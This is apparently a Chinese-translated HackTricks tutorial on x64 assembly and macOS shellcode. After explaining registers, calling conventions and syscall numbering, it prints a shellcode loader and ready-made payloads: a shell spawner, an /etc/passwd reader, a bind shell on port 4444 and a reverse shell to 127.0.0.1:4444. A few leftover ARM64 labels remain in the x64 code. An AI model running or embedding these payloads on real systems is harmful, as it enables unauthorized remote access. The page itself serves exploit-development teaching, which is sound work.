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461 lines
16 KiB
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461 lines
16 KiB
Markdown
# x64简介
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在一家**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
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* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
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</details>
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## **x64简介**
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x64，也被称为x86-64，是一种主要用于桌面和服务器计算的64位处理器架构。它起源于由英特尔生产的x86架构，并在后来由AMD采用并命名为AMD64，是个人计算机和服务器中普遍使用的架构。
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### **寄存器**
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x64扩展了x86架构，具有16个通用寄存器，标记为`rax`，`rbx`，`rcx`，`rdx`，`rbp`，`rsp`，`rsi`，`rdi`和`r8`到`r15`。每个寄存器可以存储一个64位（8字节）的值。这些寄存器还具有32位、16位和8位的子寄存器，用于兼容性和特定任务。
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1. **`rax`** - 传统上用于函数的**返回值**。
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2. **`rbx`** - 经常用作内存操作的**基址寄存器**。
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3. **`rcx`** - 常用于**循环计数器**。
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4. **`rdx`** - 用于各种角色，包括扩展算术运算。
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5. **`rbp`** - 栈帧的**基指针**。
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6. **`rsp`** - **栈指针**，跟踪栈的顶部。
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7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。
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8. **`r8`** 到 **`r15`** - 在x64中引入的额外通用寄存器。
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### **调用约定**
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x64的调用约定在操作系统之间有所不同。例如：
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* **Windows**：前**四个参数**通过寄存器**`rcx`**，**`rdx`**，**`r8`**和**`r9`**传递。更多的参数被推送到栈上。返回值在**`rax`**中。
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* **System V（通常用于类UNIX系统）**：前**六个整数或指针参数**通过寄存器**`rdi`**，**`rsi`**，**`rdx`**，**`rcx`**，**`r8`**和**`r9`**传递。返回值也在**`rax`**中。
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如果函数有超过六个输入，则**其余的参数将被传递到栈上**。**RSP**，即栈指针，在任何调用发生之前必须是**16字节对齐**的，这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前，我们的shellcode中的RSP被正确对齐。然而，在实践中，即使不满足这个要求，系统调用也经常能够正常工作。
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### **常见指令**
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x64指令具有丰富的指令集，保持与早期x86指令的兼容性并引入新指令。
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* **`mov`**：将一个值从一个**寄存器**或**内存位置**移动到另一个寄存器或内存位置。
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* 示例：`mov rax, rbx` — 将`rbx`中的值移动到`rax`中。
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* **`push`** 和 **`pop`**：将值推送到/从**栈**中弹出。
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* 示例：`push rax` — 将`rax`中的值推送到栈中。
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* 示例：`pop rax` — 将栈顶的值弹出到`rax`中。
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* **`add`** 和 **`sub`**：**加法**和**减法**操作。
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* 示例：`add rax, rcx` — 将`rax`和`rcx`中的值相加，并将结果存储在`rax`中。
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* **`mul`** 和 **`div`**：**乘法**和**除法**操作。注意：这些操作对操作数的使用有特定的行为。
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* **`call`** 和 **`ret`**：用于**调用**和**从函数返回**。
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* **`int`**：用于触发软件**中断**。例如，在32位x86 Linux中，`int 0x80`用于系统调用。
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* **`cmp`**：比较两个值并根据结果设置CPU的标志位。
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* 示例：`cmp rax, rdx` — 将`rax`与`rdx`进行比较。
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* **`je`**，**`jne`**，**`jl`**，**`jge`**，...：**条件跳转**指令，根据先前的`cmp`或测试结果改变控制流。
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* 示例：在`cmp rax, rdx`指令之后，`je label` — 如果`rax`等于`rdx`，则跳转到`label`。
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* **`syscall`**：在某些x64系统（如现代Unix）中用于**系统调用**。
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* **`sysenter`**：在某些平台上优化的**系统调用**指令。
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### **函数序言**
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1. **保存旧的基指针**: `push rbp`（保存调用者的基指针）
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2. **将当前栈指针移动到基指针**: `mov rbp, rsp`（为当前函数设置新的基指针）
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3. **在栈上为局部变量分配空间**: `sub rsp, <size>`（其中 `<size>` 是所需的字节数）
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### **函数尾声**
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1. **将当前基指针移动到栈指针**: `mov rsp, rbp`（释放局部变量）
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2. **从栈中弹出旧的基指针**: `pop rbp`（恢复调用者的基指针）
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3. **返回**: `ret`（将控制权返回给调用者）
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## macOS
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### 系统调用
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有不同类别的系统调用，您可以在[**这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
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```c
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#define SYSCALL_CLASS_NONE 0 /* Invalid */
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#define SYSCALL_CLASS_MACH 1 /* Mach */
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#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
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#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
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#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
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#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
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```
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然后，您可以在[**此网址**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)中找到每个系统调用的编号：
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```c
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0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
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1 AUE_EXIT ALL { void exit(int rval); }
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2 AUE_FORK ALL { int fork(void); }
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3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
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4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
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5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
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6 AUE_CLOSE ALL { int close(int fd); }
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7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
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8 AUE_NULL ALL { int nosys(void); } { old creat }
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9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
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10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
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11 AUE_NULL ALL { int nosys(void); } { old execv }
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12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
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[...]
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```
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所以为了调用`open`系统调用（**5**），你需要将其添加为`0x2000000`。
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因此，调用open的系统调用号将是`0x2000005`。
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### Shellcode
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编译方法：
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{% code overflow="wrap" %}
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```bash
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nasm -f macho64 shell.asm -o shell.o
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ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
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```
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{% endcode %}
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提取字节：
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{% code overflow="wrap" %}
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```bash
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# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
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for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
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echo -n '\\x'$c
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done
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# Another option
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otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
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```
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{% endcode %}
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<details>
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<summary>用于测试shellcode的C代码</summary>
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```c
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// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
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// gcc loader.c -o loader
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#include <stdio.h>
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#include <sys/mman.h>
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#include <string.h>
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#include <stdlib.h>
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int (*sc)();
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char shellcode[] = "<INSERT SHELLCODE HERE>";
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int main(int argc, char **argv) {
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printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
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void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
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if (ptr == MAP_FAILED) {
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perror("mmap");
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exit(-1);
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}
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printf("[+] SUCCESS: mmap\n");
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printf(" |-> Return = %p\n", ptr);
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void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
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printf("[+] SUCCESS: memcpy\n");
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printf(" |-> Return = %p\n", dst);
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int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
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if (status == -1) {
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perror("mprotect");
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exit(-1);
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}
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printf("[+] SUCCESS: mprotect\n");
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printf(" |-> Return = %d\n", status);
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printf("[>] Trying to execute shellcode...\n");
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sc = ptr;
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sc();
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return 0;
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}
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```
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</details>
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#### Shell
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从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。
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{% tabs %}
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{% tab title="使用adr" %}
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```armasm
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bits 64
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global _main
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_main:
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call r_cmd64
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db '/bin/zsh', 0
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r_cmd64: ; the call placed a pointer to db (argv[2])
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pop rdi ; arg1 from the stack placed by the call to l_cmd64
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xor rdx, rdx ; store null arg3
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push 59 ; put 59 on the stack (execve syscall)
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pop rax ; pop it to RAX
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bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
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syscall
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```
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{% tab title="使用堆栈" %}
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```armasm
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bits 64
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global _main
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_main:
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xor rdx, rdx ; zero our RDX
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push rdx ; push NULL string terminator
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mov rbx, '/bin/zsh' ; move the path into RBX
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push rbx ; push the path, to the stack
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mov rdi, rsp ; store the stack pointer in RDI (arg1)
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push 59 ; put 59 on the stack (execve syscall)
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pop rax ; pop it to RAX
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bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
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syscall
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```
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{% endtab %}
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{% endtabs %}
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#### 使用cat命令读取
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目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`，因此第二个参数（x1）是一个参数数组（在内存中表示为地址的堆栈）。
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```armasm
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bits 64
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section .text
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global _main
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_main:
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; Prepare the arguments for the execve syscall
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sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
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lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
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lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
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; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
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push rsi ; Add "/etc/passwd" to the stack (arg0)
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push rdi ; Add "/bin/cat" to the stack (arg1)
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; Set in the 2nd argument of exec the addr of the array
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mov rsi, rsp ; argv=rsp - store RSP's value in RSI
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xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
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push 59 ; put 59 on the stack (execve syscall)
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pop rax ; pop it to RAX
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bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
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syscall ; Make the syscall
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section .data
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cat_path: db "/bin/cat", 0
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passwd_path: db "/etc/passwd", 0
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```
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#### 使用sh调用命令
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To invoke a command using the `sh` command, you can use the following syntax:
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要使用`sh`命令调用命令，可以使用以下语法：
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```sh
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sh -c "command"
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```
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For example, if you want to execute the `ls` command using `sh`, you would run:
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例如，如果你想使用`sh`执行`ls`命令，你可以运行：
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```sh
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sh -c "ls"
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```
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This will execute the `ls` command as if it were run directly from the command line.
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```armasm
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bits 64
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section .text
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global _main
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_main:
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; Prepare the arguments for the execve syscall
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sub rsp, 32 ; Create space on the stack
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; Argument array
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lea rdi, [rel touch_command]
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push rdi ; push &"touch /tmp/lalala"
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lea rdi, [rel sh_c_option]
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push rdi ; push &"-c"
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lea rdi, [rel sh_path]
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push rdi ; push &"/bin/sh"
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; execve syscall
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mov rsi, rsp ; rsi = pointer to argument array
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xor rdx, rdx ; rdx = NULL (no env variables)
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push 59 ; put 59 on the stack (execve syscall)
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pop rax ; pop it to RAX
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bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
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syscall
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_exit:
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xor rdi, rdi ; Exit status code 0
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push 1 ; put 1 on the stack (exit syscall)
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pop rax ; pop it to RAX
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bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
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syscall
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section .data
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sh_path: db "/bin/sh", 0
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sh_c_option: db "-c", 0
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touch_command: db "touch /tmp/lalala", 0
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```
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#### 绑定 shell
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从 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 获取的绑定 shell，在**端口 4444**上。
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```armasm
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section .text
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global _main
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_main:
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; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
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xor rdi, rdi
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mul rdi
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mov dil, 0x2
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xor rsi, rsi
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mov sil, 0x1
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mov al, 0x2
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ror rax, 0x28
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mov r8, rax
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mov al, 0x61
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syscall
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; struct sockaddr_in {
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; __uint8_t sin_len;
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; sa_family_t sin_family;
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; in_port_t sin_port;
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; struct in_addr sin_addr;
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; char sin_zero[8];
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; };
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mov rsi, 0xffffffffa3eefdf0
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neg rsi
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push rsi
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push rsp
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pop rsi
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; bind(host_sockid, &sockaddr, 16)
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mov rdi, rax
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xor dl, 0x10
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mov rax, r8
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mov al, 0x68
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syscall
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; listen(host_sockid, 2)
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xor rsi, rsi
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mov sil, 0x2
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mov rax, r8
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mov al, 0x6a
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syscall
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; accept(host_sockid, 0, 0)
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xor rsi, rsi
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xor rdx, rdx
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mov rax, r8
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mov al, 0x1e
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syscall
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mov rdi, rax
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mov sil, 0x3
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dup2:
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; dup2(client_sockid, 2)
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; -> dup2(client_sockid, 1)
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; -> dup2(client_sockid, 0)
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mov rax, r8
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mov al, 0x5a
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sub sil, 1
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syscall
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test rsi, rsi
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jne dup2
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; execve("//bin/sh", 0, 0)
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push rsi
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mov rdi, 0x68732f6e69622f2f
|
||
push rdi
|
||
push rsp
|
||
pop rdi
|
||
mov rax, r8
|
||
mov al, 0x3b
|
||
syscall
|
||
```
|
||
#### 反向 Shell
|
||
|
||
从[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)获取反向 Shell。反向 Shell 到 **127.0.0.1:4444**。
|
||
```armasm
|
||
section .text
|
||
global _main
|
||
_main:
|
||
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
|
||
xor rdi, rdi
|
||
mul rdi
|
||
mov dil, 0x2
|
||
xor rsi, rsi
|
||
mov sil, 0x1
|
||
mov al, 0x2
|
||
ror rax, 0x28
|
||
mov r8, rax
|
||
mov al, 0x61
|
||
syscall
|
||
|
||
; struct sockaddr_in {
|
||
; __uint8_t sin_len;
|
||
; sa_family_t sin_family;
|
||
; in_port_t sin_port;
|
||
; struct in_addr sin_addr;
|
||
; char sin_zero[8];
|
||
; };
|
||
mov rsi, 0xfeffff80a3eefdf0
|
||
neg rsi
|
||
push rsi
|
||
push rsp
|
||
pop rsi
|
||
|
||
; connect(sockid, &sockaddr, 16)
|
||
mov rdi, rax
|
||
xor dl, 0x10
|
||
mov rax, r8
|
||
mov al, 0x62
|
||
syscall
|
||
|
||
xor rsi, rsi
|
||
mov sil, 0x3
|
||
|
||
dup2:
|
||
; dup2(sockid, 2)
|
||
; -> dup2(sockid, 1)
|
||
; -> dup2(sockid, 0)
|
||
mov rax, r8
|
||
mov al, 0x5a
|
||
sub sil, 1
|
||
syscall
|
||
test rsi, rsi
|
||
jne dup2
|
||
|
||
; execve("//bin/sh", 0, 0)
|
||
push rsi
|
||
mov rdi, 0x68732f6e69622f2f
|
||
push rdi
|
||
push rsp
|
||
pop rdi
|
||
xor rdx, rdx
|
||
mov rax, r8
|
||
mov al, 0x3b
|
||
syscall
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
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|
||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
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|
||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||
|
||
</details>
|